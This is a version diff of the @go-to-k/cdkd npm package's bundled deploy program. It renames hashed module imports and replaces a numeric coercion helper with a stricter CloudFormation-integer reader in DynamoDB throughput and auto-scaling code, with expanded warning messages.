@go-to-k/cdkd 0.290.4 → 0.290.6

package/dist/{program-20PIJFu9.js → program-Cl3fCD6-.js}

@@ -1,8 +1,8 @@
-import { $ as secretSafeKeyDisplay, $n as parseBootstrapMarker, $t as DiffCalculator, A as planOrphanAdoption, An as formatLockExpiry, Ar as resolveUseCdkBootstrapAssets, At as WAFv2WebACLProvider, B as formatResourceLine, Bn as AssetPublisher, Br as PARTITION_TABLE, Bt as replayWarn, C as createPreDeleteFinalSnapshot, Ci as isThrottlingError, Cn as scrubResourceRecord, Cr as getLegacyStateBucketName, Ct as cfnRefValueFromPhysicalId, D as makeCanonicalizePropertiesFn, Di as retryClassificationText, Dn as buildForceUnlockCommand, Dr as resolveSkipPrefix, Dt as parameterTypeMayLoseSecretIdentity, E as unsupportedFinalSnapshotError, Ei as markRedactedCause, En as rebuildClientForBucketRegion, Er as resolveCaptureObservedState, Et as isUnboundTemplateParameter, F as WARM_THROUGHPUT_MEMBERS, Fn as importableOutputKeys, Fr as MIGRATE_TMP_PREFIX, Ft as coerceCfnInteger, G as red, Gn as loadPublishableAssetManifest, Gt as producerRegionsFromState, H as cyan, Hn as WorkGraph, Hr as derivePartitionAndUrlSuffix, Ht as requireConfigObject, I as coerceWarmThroughput$1, In as importableOutputs, Ir as findLargeInlineResources, It as configBooleanRefusal, J as collectPublishedOutputNames, Jn as BOOTSTRAP_MARKER_PREFIX, Jr as getAwsClients, Jt as s3BucketDomainName, K as yellow, Kn as rewriteTemplateAssetReferences, Kr as resolveBucketRegion, Kt as withSharedDrainBudget, L as isWarmThroughputDecrease, Ln as orphansAfterRollback, Lr as uploadCfnTemplate, Lt as configIntegerRefusal, M as isStatefulRecreateTargetForReplace, Mn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Mr as warnDeprecatedNoPrefixCliFlag, Mt as resolveExplicitPhysicalId, N as isStatefulRecreateTargetSync, Nn as DEFAULT_STATE_PREFIX, Nr as CFN_TEMPLATE_BODY_LIMIT, Nt as assertRegionMatch, O as extractDeploymentEventError, On as buildLockContentionMessage, Or as resolveStateBucketWithDefault, Ot as refStateLookupFromResource, P as renderStatefulReason, Pn as exportNamesCarriedFrom, Pr as CFN_TEMPLATE_URL_LIMIT, Pt as coerceCfnBoolean, Q as secretBearingStateKeyWarning, Qn as isCrossRegionRedirect, Qr as CdkdError, Qt as applyRoleArnIfSet, R as toCfnInteger, Rn as orphansCarriedFrom, Rr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, Rt as configStringRefusal, S as ccRoutedFinalSnapshotError, Si as isRetryableTransientError, Sn as redactSecretsForState, Sr as getDefaultStateBucketName, St as carriesDynamicReference, T as refusesFinalSnapshot, Ti as markNonRetryable, Tn as S3StateBackend, Tr as resolveAutoAssetStorage, Tt as getAccountInfo, U as gray, Un as buildAssetRedirectMap, Ur as AssemblyReader, Ut as requireConfigString, V as bold, Vn as stringifyValue, Vr as canonicalizeRegion, Vt as requireConfigArray, W as green, Wn as createAssetRedirectResolver, Wr as processStackMessages, Wt as classifyReplaySecretRegion, X as isExportAliasCollision, Xn as ensureAssetStorage, Xr as setAwsClients, Xt as s3BucketRegionalDomainName, Y as exportAliasCollisionScrubWarning, Yn as assertAssetBucketRegion, Yr as resetAwsClients, Yt as s3BucketDualStackDomainName, Z as secretBearing, Zn as getBootstrapMarkerKey, Zt as s3BucketWebsiteUrl, _ as isSecretBearingReferenceString, _n as markSameGenerationBag, _r as stripControlChars, _t as deleteIndeterminateGuards, a as DeploymentEventsStore, ai as LocalInvokeBuildError$1, an as DagBuilder, ar as buildDockerImage, at as wouldReturnToSdkProvider, b as PRE_DELETE_SNAPSHOT_TYPES, bi as withErrorHandling, bn as recordMaskOnlyValue, br as Synthesizer, bt as isTerminationProtectionPropagationError, c as replayFailedOperations, ci as NestedStackChildDirectDestroyError, cn as STATE_SOURCED_CROSS_GENERATION_RULES, cr as describeDockerFailure, ct as maskerOrIdentity, d as updatePartialReason, di as ResourceTimeoutError, dn as carriesSecretMask, dr as getDockerCmd, dt as interruptWatchListenerCount, ei as CrossAccountSecretRefusalError, en as INTRINSIC_KEYS, er as readBootstrapMarkerBody, et as getCurrentResourceSecrets, f as withResourceDeadline, fi as ResourceUpdateNotSupportedError, fn as createSecretMasker, fr as partitionSensitiveEnv, ft as isInterruptedWaitError, g as bagHoldsSecretExpression, gn as isSingleDynamicReferenceToken, gr as escapeRegExp, gt as UNSPECIFIED_SKIP_REASON, h as computeImplicitDeleteEdges, hn as identityKeyFor, hr as runDockerStreaming, ht as slowCcOperationTimeoutMs, i as DeploymentEventsReader, ii as IntrinsicResolutionRefusalError, in as withRetry, ir as describeAwsFailure, it as ProviderRegistry, j as MULTI_REGION_RECREATE_BLOCKED_TYPES, jn as shellQuote, jr as stateBucketExistenceConfirmed, jt as normalizeAwsTagsToCfn, k as makeSiblingClaimReader, kn as forceQuitRecoveryClause, kr as resolveStateBucketWithDefaultAndSource, kt as isSettledInstanceState, l as replayRollback, li as PartialFailureError, ln as STATE_SOURCED_READBACK_RULES, lr as dockerSpawnEnvWithSensitive, lt as beginCommandInterruptScope, m as IMPLICIT_DELETE_DEPENDENCIES, mi as StackTerminationProtectionError, mn as errorCauseChain, mr as runDockerForeground, mt as CloudControlProvider, n as DEFAULT_RESOURCE_WARN_AFTER_MS, ni as DeployCancelledError, nn as findSilentDropProperties, nr as validateContainerRepoName, nt as collectInlinePolicyNamesManagedBySiblings, o as planFailedOps, oi as LocalStartServiceError, on as TemplateParser, or as describeDockerCapturedOutput, ot as createMaskedRetryLogger, p as maskingRetryLogger, pi as StackHasActiveImportsError, pn as dynamicReferenceTokens, pr as redactDockerArgvValues, pt as startInterruptWatch, q as collectDeclaredOutputNames, qn as AssetModeResolver, qr as AwsClients, qt as s3BucketArn, r as DeployEngine, ri as DynamicReferenceRegionAmbiguousError, rn as describeTypeWithThrottleRetry, rr as buildDenyExternalAccessPolicy, rt as clearOnUpdateRemoval, s as planRollback, sn as STATE_SOURCED_BASELINE_RULES, sr as describeDockerExecFailure, st as maskDeep, t as DEFAULT_RESOURCE_TIMEOUT_MS, tn as findActionableSilentDrops, tr as validateAssetBucketName, tt as IAMRoleProvider, u as updatePartialMessage, ui as ProvisioningError, un as TEMPLATE_SOURCED_RULES, ur as formatDockerLoginError, ut as endCommandInterruptScope, v as bindingSkippedOutputs, vn as maskSecretsInError, vr as AssetManifestLoader, vt as deleteSkipReason, w as isFinalSnapshotError, wi as isTransientServerError, wn as LockManager, wr as resolveApp, wt as coerceParameterTypedValue, x as buildFinalSnapshotIdentifier, xi as isMarkedNonRetryable, xn as recoverMaskedOutput, xr as synthesisStatusMessage, xt as IntrinsicFunctionResolver, y as ATOMIC_FINAL_SNAPSHOT_TYPES, yi as normalizeAwsError, yn as maskSecretsInText, yr as getDockerImageBySourceHash, yt as disableInstanceApiTermination, z as toFiniteNumber, zn as shouldRetainResource, zr as expectedOwnerParam, zt as readConfigString } from "./deploy-engine-DD7JE_Ic.js";
+import { $ as secretSafeKeyDisplay, $n as isCrossRegionRedirect, $r as CdkdError, $t as applyRoleArnIfSet, A as planOrphanAdoption, An as forceQuitRecoveryClause, Ar as resolveStateBucketWithDefaultAndSource, At as isSettledInstanceState, B as formatResourceLine, Bn as shouldRetainResource, Br as expectedOwnerParam, Bt as readConfigString, C as createPreDeleteFinalSnapshot, Ci as isRetryableTransientError, Cn as redactSecretsForState, Cr as getDefaultStateBucketName, Ct as cfnRefValueFromPhysicalId, D as makeCanonicalizePropertiesFn, Di as markRedactedCause, Dn as rebuildClientForBucketRegion, Dr as resolveCaptureObservedState, Dt as isUnboundTemplateParameter, E as unsupportedFinalSnapshotError, Ei as markNonRetryable, En as S3StateBackend, Er as resolveAutoAssetStorage, Et as isImpossibleEmptyStoredAttribute, F as WARM_THROUGHPUT_MEMBERS, Fn as exportNamesCarriedFrom, Fr as CFN_TEMPLATE_URL_LIMIT, Ft as coerceCfnBoolean, G as red, Gn as createAssetRedirectResolver, Gr as processStackMessages, Gt as classifyReplaySecretRegion, H as cyan, Hn as stringifyValue, Hr as canonicalizeRegion, Ht as requireConfigArray, I as coerceWarmThroughput$1, In as importableOutputKeys, Ir as MIGRATE_TMP_PREFIX, It as coerceCfnInteger, J as collectPublishedOutputNames, Jn as AssetModeResolver, Jr as AwsClients, Jt as s3BucketArn, K as yellow, Kn as loadPublishableAssetManifest, Kt as producerRegionsFromState, L as isWarmThroughputDecrease, Ln as importableOutputs, Lr as findLargeInlineResources, Lt as configBooleanRefusal, M as isStatefulRecreateTargetForReplace, Mn as shellQuote, Mr as stateBucketExistenceConfirmed, Mt as normalizeAwsTagsToCfn, N as isStatefulRecreateTargetSync, Nn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Nr as warnDeprecatedNoPrefixCliFlag, Nt as resolveExplicitPhysicalId, O as extractDeploymentEventError, Oi as retryClassificationText, On as buildForceUnlockCommand, Or as resolveSkipPrefix, Ot as parameterTypeMayLoseSecretIdentity, P as renderStatefulReason, Pn as DEFAULT_STATE_PREFIX, Pr as CFN_TEMPLATE_BODY_LIMIT, Pt as assertRegionMatch, Q as secretBearingStateKeyWarning, Qn as getBootstrapMarkerKey, Qt as s3BucketWebsiteUrl, R as toCfnInteger, Rn as orphansAfterRollback, Rr as uploadCfnTemplate, Rt as configIntegerRefusal, S as ccRoutedFinalSnapshotError, Si as isMarkedNonRetryable, Sn as recoverMaskedOutput, Sr as synthesisStatusMessage, St as carriesDynamicReference, T as refusesFinalSnapshot, Ti as isTransientServerError, Tn as LockManager, Tr as resolveApp, Tt as getAccountInfo, U as gray, Un as WorkGraph, Ur as derivePartitionAndUrlSuffix, Ut as requireConfigObject, V as bold, Vn as AssetPublisher, Vr as PARTITION_TABLE, Vt as replayWarn, W as green, Wn as buildAssetRedirectMap, Wr as AssemblyReader, Wt as requireConfigString, X as isExportAliasCollision, Xn as assertAssetBucketRegion, Xr as resetAwsClients, Xt as s3BucketDualStackDomainName, Y as exportAliasCollisionScrubWarning, Yn as BOOTSTRAP_MARKER_PREFIX, Yr as getAwsClients, Yt as s3BucketDomainName, Z as secretBearing, Zn as ensureAssetStorage, Zr as setAwsClients, Zt as s3BucketRegionalDomainName, _ as isSecretBearingReferenceString, _n as isSingleDynamicReferenceToken, _r as escapeRegExp, _t as deleteIndeterminateGuards, a as DeploymentEventsStore, ai as IntrinsicResolutionRefusalError, an as withRetry, ar as describeAwsFailure, at as wouldReturnToSdkProvider, b as PRE_DELETE_SNAPSHOT_TYPES, bi as normalizeAwsError, bn as maskSecretsInText, br as getDockerImageBySourceHash, bt as isTerminationProtectionPropagationError, c as replayFailedOperations, cn as STATE_SOURCED_BASELINE_RULES, cr as describeDockerExecFailure, ct as maskerOrIdentity, d as updatePartialReason, di as ProvisioningError, dn as TEMPLATE_SOURCED_RULES, dr as formatDockerLoginError, dt as interruptWatchListenerCount, en as DiffCalculator, er as parseBootstrapMarker, et as getCurrentResourceSecrets, f as withResourceDeadline, fi as ResourceTimeoutError, fn as carriesSecretMask, fr as getDockerCmd, ft as isInterruptedWaitError, g as bagHoldsSecretExpression, gn as identityKeyFor, gr as runDockerStreaming, gt as UNSPECIFIED_SKIP_REASON, h as computeImplicitDeleteEdges, hi as StackTerminationProtectionError, hn as errorCauseChain, hr as runDockerForeground, ht as slowCcOperationTimeoutMs, i as DeploymentEventsReader, ii as DynamicReferenceRegionAmbiguousError, in as describeTypeWithThrottleRetry, ir as buildDenyExternalAccessPolicy, it as ProviderRegistry, j as MULTI_REGION_RECREATE_BLOCKED_TYPES, jn as formatLockExpiry, jr as resolveUseCdkBootstrapAssets, jt as WAFv2WebACLProvider, k as makeSiblingClaimReader, kn as buildLockContentionMessage, kr as resolveStateBucketWithDefault, kt as refStateLookupFromResource, l as replayRollback, li as NestedStackChildDirectDestroyError, ln as STATE_SOURCED_CROSS_GENERATION_RULES, lr as describeDockerFailure, lt as beginCommandInterruptScope, m as IMPLICIT_DELETE_DEPENDENCIES, mi as StackHasActiveImportsError, mn as dynamicReferenceTokens, mr as redactDockerArgvValues, mt as CloudControlProvider, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as findActionableSilentDrops, nr as validateAssetBucketName, nt as collectInlinePolicyNamesManagedBySiblings, o as planFailedOps, oi as LocalInvokeBuildError$1, on as DagBuilder, or as buildDockerImage, ot as createMaskedRetryLogger, p as maskingRetryLogger, pi as ResourceUpdateNotSupportedError, pn as createSecretMasker, pr as partitionSensitiveEnv, pt as startInterruptWatch, q as collectDeclaredOutputNames, qn as rewriteTemplateAssetReferences, qr as resolveBucketRegion, qt as withSharedDrainBudget, r as DeployEngine, ri as DeployCancelledError, rn as findSilentDropProperties, rr as validateContainerRepoName, rt as clearOnUpdateRemoval, s as planRollback, si as LocalStartServiceError, sn as TemplateParser, sr as describeDockerCapturedOutput, st as maskDeep, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as CrossAccountSecretRefusalError, tn as INTRINSIC_KEYS, tr as readBootstrapMarkerBody, tt as IAMRoleProvider, u as updatePartialMessage, ui as PartialFailureError, un as STATE_SOURCED_READBACK_RULES, ur as dockerSpawnEnvWithSensitive, ut as endCommandInterruptScope, v as bindingSkippedOutputs, vn as markSameGenerationBag, vr as stripControlChars, vt as deleteSkipReason, w as isFinalSnapshotError, wi as isThrottlingError, wn as scrubResourceRecord, wr as getLegacyStateBucketName, wt as coerceParameterTypedValue, x as buildFinalSnapshotIdentifier, xi as withErrorHandling, xn as recordMaskOnlyValue, xr as Synthesizer, xt as IntrinsicFunctionResolver, y as ATOMIC_FINAL_SNAPSHOT_TYPES, yn as maskSecretsInError, yr as AssetManifestLoader, yt as disableInstanceApiTermination, z as toFiniteNumber, zn as orphansCarriedFrom, zr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, zt as configStringRefusal } from "./deploy-engine-BU7n9_qY.js";
 import { S as truncateCodePoints, _ as withSkipPrefix, b as displayIdent, c as PATTERN_B_NAME_OPTIONS, f as explicitNamePropertyFor, h as getCurrentStackName, i as reserveStdoutForPayload, l as PATTERN_B_NAME_PROPERTIES, m as generateResourceNameWithFallback, n as getLogger, o as runStackBuffered, p as generateResourceName, s as getLiveRenderer, u as PATTERN_B_RESOURCE_TYPES, v as withStackName, x as displaySafe, y as UNRENDERABLE } from "./logger-th1myfgh.js";
 import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
-import { t as getCdkdVersion } from "./version-BUcQz4SU.js";
-import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-NffO_bpL.js";
+import { t as getCdkdVersion } from "./version-BvSdNpMz.js";
+import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-CsdVn4cg.js";
 import { AsyncLocalStorage } from "node:async_hooks";
 import { createHash, randomBytes, randomUUID } from "node:crypto";
 import { CopyObjectCommand, CreateBucketCommand, DeleteBucketAnalyticsConfigurationCommand, DeleteBucketCommand, DeleteBucketCorsCommand, DeleteBucketEncryptionCommand, DeleteBucketIntelligentTieringConfigurationCommand, DeleteBucketInventoryConfigurationCommand, DeleteBucketLifecycleCommand, DeleteBucketMetricsConfigurationCommand, DeleteBucketOwnershipControlsCommand, DeleteBucketPolicyCommand, DeleteBucketReplicationCommand, DeleteBucketTaggingCommand, DeleteBucketWebsiteCommand, DeleteObjectsCommand, GetBucketAccelerateConfigurationCommand, GetBucketCorsCommand, GetBucketEncryptionCommand, GetBucketLifecycleConfigurationCommand, GetBucketLocationCommand, GetBucketLoggingCommand, GetBucketNotificationConfigurationCommand, GetBucketOwnershipControlsCommand, GetBucketPolicyCommand, GetBucketReplicationCommand, GetBucketTaggingCommand, GetBucketVersioningCommand, GetBucketWebsiteCommand, GetObjectCommand, GetObjectLockConfigurationCommand, GetPublicAccessBlockCommand, HeadBucketCommand, ListBucketAnalyticsConfigurationsCommand, ListBucketIntelligentTieringConfigurationsCommand, ListBucketInventoryConfigurationsCommand, ListBucketMetricsConfigurationsCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchBucket, NotFound, PutBucketAccelerateConfigurationCommand, PutBucketAnalyticsConfigurationCommand, PutBucketCorsCommand, PutBucketEncryptionCommand, PutBucketIntelligentTieringConfigurationCommand, PutBucketInventoryConfigurationCommand, PutBucketLifecycleConfigurationCommand, PutBucketLoggingCommand, PutBucketMetricsConfigurationCommand, PutBucketNotificationConfigurationCommand, PutBucketOwnershipControlsCommand, PutBucketPolicyCommand, PutBucketReplicationCommand, PutBucketTaggingCommand, PutBucketVersioningCommand, PutBucketWebsiteCommand, PutObjectCommand, PutObjectLockConfigurationCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -18953,7 +18953,7 @@ var DynamoDBTableProvider = class {
 		const warn = (message) => this.logger.warn(maskSecrets(message));
 		const coerced = coerceWarmThroughput(value);
 		if (coerced === void 0) return void 0;
-		if (coerced.dropped.length > 0) warn(`${scope}: WarmThroughput member(s) ${coerced.dropped.join(", ")} in ${JSON.stringify(maskLeafValue$1(value, maskSecrets))} are not a number DynamoDB accepts, so they were dropped from the request, which leaves ${JSON.stringify(maskLeafValue$1(coerced.spec, maskSecrets))}. Check for an unresolved intrinsic or a non-numeric value.`);
+		if (coerced.dropped.length > 0) warn(`${scope}: WarmThroughput member(s) ${coerced.dropped.join(", ")} in ${JSON.stringify(maskLeafValue$1(value, maskSecrets))} are not a number DynamoDB accepts, so they were dropped from the request, which leaves ${JSON.stringify(maskLeafValue$1(coerced.spec, maskSecrets))}. Check for an unresolved intrinsic or a spelling CloudFormation would reject: an Integer here is an optional sign and decimal digits only (no surrounding whitespace, hex, exponent or decimal point).`);
 		return coerced.spec;
 	}
 	/**
@@ -20726,10 +20726,10 @@ var DynamoDBGlobalTableProvider = class {
 		const watch = startInterruptWatch(`DynamoDB auto-scaling for ${tableName}`);
 		try {
 			if (newEnabled) {
-				const minCapacity = Number(newSettings["MinCapacity"] ?? 0);
-				const maxCapacity = Number(newSettings["MaxCapacity"] ?? 0);
-				if (!Number.isFinite(minCapacity) || !Number.isFinite(maxCapacity)) {
-					warn(`Cannot apply auto-scaling diff on ${tableName} (${dimension}): MinCapacity / MaxCapacity must be numbers, got ${maskSecrets(String(newSettings["MinCapacity"]))} / ${maskSecrets(String(newSettings["MaxCapacity"]))}`);
+				const minCapacity = coerceCfnInteger(newSettings["MinCapacity"] ?? 0);
+				const maxCapacity = coerceCfnInteger(newSettings["MaxCapacity"] ?? 0);
+				if (minCapacity === void 0 || maxCapacity === void 0) {
+					warn(`Cannot apply auto-scaling diff on ${tableName} (${dimension}): MinCapacity / MaxCapacity must be integers CloudFormation accepts (an optional sign and decimal digits; no surrounding whitespace, hex, exponent or decimal point), got ${maskSecrets(String(newSettings["MinCapacity"]))} / ${maskSecrets(String(newSettings["MaxCapacity"]))}`);
 					return;
 				}
 				try {
@@ -20761,8 +20761,16 @@ var DynamoDBGlobalTableProvider = class {
 					PredefinedMetricSpecification: { PredefinedMetricType: metricType },
 					TargetValue: targetValue
 				};
-				if (tttCfg["ScaleInCooldown"] !== void 0) targetTrackingConfig["ScaleInCooldown"] = Number(tttCfg["ScaleInCooldown"]);
-				if (tttCfg["ScaleOutCooldown"] !== void 0) targetTrackingConfig["ScaleOutCooldown"] = Number(tttCfg["ScaleOutCooldown"]);
+				for (const cooldown of ["ScaleInCooldown", "ScaleOutCooldown"]) {
+					const raw = tttCfg[cooldown];
+					if (raw === void 0) continue;
+					const seconds = coerceCfnInteger(raw);
+					if (seconds === void 0) {
+						warn(`Auto-scaling policy on ${tableName} (${dimension}): TargetTrackingScalingPolicyConfiguration.${cooldown} is not an integer CloudFormation accepts (got ${JSON.stringify(maskDeep(raw, maskSecrets))?.slice(0, 80)}), so it is omitted and the service default applies.`);
+						continue;
+					}
+					targetTrackingConfig[cooldown] = seconds;
+				}
 				if (tttCfg["DisableScaleIn"] !== void 0) targetTrackingConfig["DisableScaleIn"] = Boolean(tttCfg["DisableScaleIn"]);
 				try {
 					await withRetry(() => asClient.send(new PutScalingPolicyCommand({
@@ -22145,13 +22153,13 @@ function warmThroughputDiagnostic(raw, coercion, indexName) {
 		return {
 			...scope,
 			...indexName !== void 0 && { indexName },
-			message: `WarmThroughput.${dropped} did not resolve to a number and was DROPPED; ${kept} is still sent. AWS types these as numbers, so a quoted "12000" is fine but an unresolved intrinsic or an object is not. The dropped member keeps its current AWS value until the template supplies a usable one.`
+			message: `WarmThroughput.${dropped} did not resolve to a number and was DROPPED; ${kept} is still sent. AWS types these as numbers, so a quoted "12000" is fine but an unresolved intrinsic or an object is not. The dropped member keeps its current AWS value until the template supplies a usable one. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way.`
 		};
 	}
 	return {
 		...scope,
 		...indexName !== void 0 && { indexName },
-		message: `WarmThroughput is declared but no member resolved to a number${dropped ? ` (${dropped})` : ""}, so the whole block is REFUSED and not sent. Forwarding it would fail as an opaque AWS validation error naming neither cdkd nor the property. Set WarmThroughput.ReadUnitsPerSecond / WriteUnitsPerSecond to numbers, or remove the block. Nothing else about the index is affected.`
+		message: `WarmThroughput is declared but no member resolved to a number${dropped ? ` (${dropped})` : ""}, so the whole block is REFUSED and not sent. Forwarding it would fail as an opaque AWS validation error naming neither cdkd nor the property. Set WarmThroughput.ReadUnitsPerSecond / WriteUnitsPerSecond to numbers, or remove the block. Nothing else about the index is affected. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way.`
 	};
 }
 /**
@@ -22165,9 +22173,10 @@ function warmThroughputDiagnostic(raw, coercion, indexName) {
 * the pre-fix code forwarded such a block VERBATIM. Three defects followed, and fixing any subset leaves a
 * live one, which is why this helper does all three at once:
 *
-*  1. **Coercion.** The verbatim forward was the ONE path that skipped
-*     {@link toFiniteNumber}, so a stringly-typed CFn `"5"` reached the SDK
-*     unnormalized while every derived value was a number.
+*  1. **Coercion.** The verbatim forward was the ONE path that skipped the
+*     numeric reader (`coerceCfnInteger` since issue #3135), so a
+*     stringly-typed CFn `"5"` reached the SDK unnormalized while every
+*     derived value was a number.
 *  2. **Per-member merge.** Whole-block replacement meant a PARTIAL explicit
 *     block SUPPRESSED valid derived siblings — an explicit
 *     `{MaxReadRequestUnits: 41}` discarded a perfectly good
@@ -22194,16 +22203,17 @@ function mergeExplicitThroughputBlock(explicit, derived, members, diagnostics, c
 	const out = {};
 	for (const member of members) {
 		if (explicit && explicit[member] !== void 0) {
-			const coerced = toFiniteNumber(explicit[member]);
+			const coerced = coerceCfnInteger(explicit[member]);
 			if (coerced !== void 0) {
 				out[member] = coerced;
 				continue;
 			}
+			const standIn = derived?.[member];
 			diagnostics?.push({
 				kind: "unresolved-member",
 				...context.indexName !== void 0 && { indexName: context.indexName },
 				member,
-				message: `${context.blockName}.${member} is present but did not resolve to a number (${JSON.stringify(maskDeep(explicit[member], maskSecrets))?.slice(0, 80)}), so it was ignored. This is usually an unresolved intrinsic; resolve it to a literal.`
+				message: `${context.blockName}.${member} is present but did not resolve to a number (${JSON.stringify(maskDeep(explicit[member], maskSecrets))?.slice(0, 80)}), so ` + (typeof standIn === "number" ? `it was ignored and ${standIn} was sent instead. ` : `it was ignored. `) + "This is usually an unresolved intrinsic; resolve it to a literal. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way."
 			});
 		}
 		const derivedValue = derived?.[member];
@@ -22227,12 +22237,12 @@ function mergeExplicitThroughputBlock(explicit, derived, members, diagnostics, c
 function reportUnresolvedRawMember(rawValue, diagnostics, context, maskSecrets = (text) => text) {
 	if (!diagnostics) return;
 	if (rawValue === void 0) return;
-	if (toFiniteNumber(rawValue) !== void 0) return;
+	if (coerceCfnInteger(rawValue) !== void 0) return;
 	diagnostics.push({
 		kind: "unresolved-member",
 		...context.indexName !== void 0 && { indexName: context.indexName },
 		member: context.member,
-		message: `${context.blockName}.${context.member} is declared but did not resolve to a number (${JSON.stringify(maskDeep(rawValue, maskSecrets))?.slice(0, 80)}), so no throughput value was sent for it and the live AWS setting was left unchanged. This is usually an unresolved intrinsic; resolve it to a literal to apply the limit, or remove the property entirely to clear it.`
+		message: `${context.blockName}.${context.member} is declared but did not resolve to a number (${JSON.stringify(maskDeep(rawValue, maskSecrets))?.slice(0, 80)}), so no throughput value was sent for it and the live AWS setting was left unchanged. This is usually an unresolved intrinsic; resolve it to a literal to apply the limit, or remove the property entirely to clear it. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way.`
 	});
 }
 /**
@@ -22320,7 +22330,7 @@ function reportUnresolvedProvisionedCapacity(rawSettings, side, source, outcome,
 		kind: "unresolved-member",
 		...context.indexName !== void 0 && { indexName: context.indexName },
 		member: blame.relPath ? blame.relPath.slice(blame.relPath.lastIndexOf(".") + 1) : context.blockName.slice(context.blockName.lastIndexOf(".") + 1),
-		message: `${path} is declared but did not resolve to a number (${JSON.stringify(maskDeep(blame.value, maskSecrets))?.slice(0, 80)}), ${consequence}. This is usually an unresolved intrinsic; resolve it to a literal to apply the capacity you declared.`
+		message: `${path} is declared but did not resolve to a number (${JSON.stringify(maskDeep(blame.value, maskSecrets))?.slice(0, 80)}), ${consequence}. This is usually an unresolved intrinsic; resolve it to a literal to apply the capacity you declared. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way.`
 	});
 }
 /**
@@ -22347,7 +22357,7 @@ function reportUnresolvedProvisionedCapacity(rawSettings, side, source, outcome,
 */
 function deriveWriteCapacityUnits(settings, source = "min") {
 	if (!settings) return void 0;
-	const literal = toFiniteNumber(settings["WriteCapacityUnits"]);
+	const literal = coerceCfnInteger(settings["WriteCapacityUnits"]);
 	if (literal !== void 0) return literal;
 	const autoScaling = asRecord$1(settings["WriteCapacityAutoScalingSettings"]);
 	if (!autoScaling) return void 0;
@@ -22363,7 +22373,7 @@ function deriveWriteCapacityUnits(settings, source = "min") {
 */
 function deriveReadCapacityUnits(settings, source = "min") {
 	if (!settings) return void 0;
-	const literal = toFiniteNumber(settings["ReadCapacityUnits"]);
+	const literal = coerceCfnInteger(settings["ReadCapacityUnits"]);
 	if (literal !== void 0) return literal;
 	const autoScaling = asRecord$1(settings["ReadCapacityAutoScalingSettings"]);
 	if (!autoScaling) return void 0;
@@ -22371,9 +22381,9 @@ function deriveReadCapacityUnits(settings, source = "min") {
 }
 /** Resolve a `*CapacityAutoScalingSettings` block to one number. */
 function pickAutoScalingCapacity(autoScaling, source) {
-	const min = toFiniteNumber(autoScaling["MinCapacity"]);
-	if (source === "min") return min ?? toFiniteNumber(autoScaling["SeedCapacity"]);
-	return toFiniteNumber(autoScaling["SeedCapacity"]) ?? min;
+	const min = coerceCfnInteger(autoScaling["MinCapacity"]);
+	if (source === "min") return min ?? coerceCfnInteger(autoScaling["SeedCapacity"]);
+	return coerceCfnInteger(autoScaling["SeedCapacity"]) ?? min;
 }
 /**
 * Translate the CFn `AWS::DynamoDB::GlobalTable` `GlobalSecondaryIndexes[]`
@@ -22470,7 +22480,7 @@ function toSdkGlobalSecondaryIndexes(properties, region, billingMode, source = "
 			const rawWrite = gsi["WriteProvisionedThroughputSettings"];
 			const derivedRead = deriveReadCapacityUnits(asRecord$1(rawLocalRead), source) ?? deriveReadCapacityUnits(asRecord$1(rawGsiRead), source);
 			const derivedWrite = deriveWriteCapacityUnits(asRecord$1(rawWrite), source);
-			const explicitCovers = (member) => explicitProvisioned !== void 0 && toFiniteNumber(explicitProvisioned[member]) !== void 0;
+			const explicitCovers = (member) => explicitProvisioned !== void 0 && coerceCfnInteger(explicitProvisioned[member]) !== void 0;
 			if (derivedRead === void 0 && !explicitCovers("ReadCapacityUnits")) {
 				const fromReplica = rawLocalRead !== void 0;
 				reportUnresolvedProvisionedCapacity(fromReplica ? rawLocalRead : rawGsiRead, "Read", source, { appliedUnits: DEFAULT_CAPACITY_UNITS }, diagnostics, {
@@ -22503,8 +22513,8 @@ function toSdkGlobalSecondaryIndexes(properties, region, billingMode, source = "
 				blockName: rawReadLocal !== void 0 ? "Replicas[local].GlobalSecondaryIndexes[].ReadOnDemandThroughputSettings" : "ReadOnDemandThroughputSettings",
 				member: "MaxReadRequestUnits"
 			}, maskSecrets);
-			const maxWrite = toFiniteNumber(rawWrite);
-			const maxRead = toFiniteNumber(rawReadLocal) ?? toFiniteNumber(rawReadGsi);
+			const maxWrite = coerceCfnInteger(rawWrite);
+			const maxRead = coerceCfnInteger(rawReadLocal) ?? coerceCfnInteger(rawReadGsi);
 			const merged = mergeExplicitThroughputBlock(explicitOnDemand, {
 				...maxRead !== void 0 && { MaxReadRequestUnits: maxRead },
 				...maxWrite !== void 0 && { MaxWriteRequestUnits: maxWrite }
@@ -22797,7 +22807,7 @@ function isUnresolvedIntrinsicBlock(value) {
 * The per-GSI reset needs to know "did the template DROP this member", and the
 * only faithful answer is whether the CFn key is THERE — not whether its value
 * coerced. `toSdkGlobalSecondaryIndexes` runs every value through
-* {@link toFiniteNumber}, which returns `undefined` for a present-but-
+* `coerceCfnInteger`, which returns `undefined` for a present-but-
 * unparseable value (an unresolved `{Ref: …}`, `''`, an object). Deciding
 * "dropped" from that collapsed view sent the `-1` reset for a member the
 * template was actively trying to SET, silently clearing the ceiling — the same
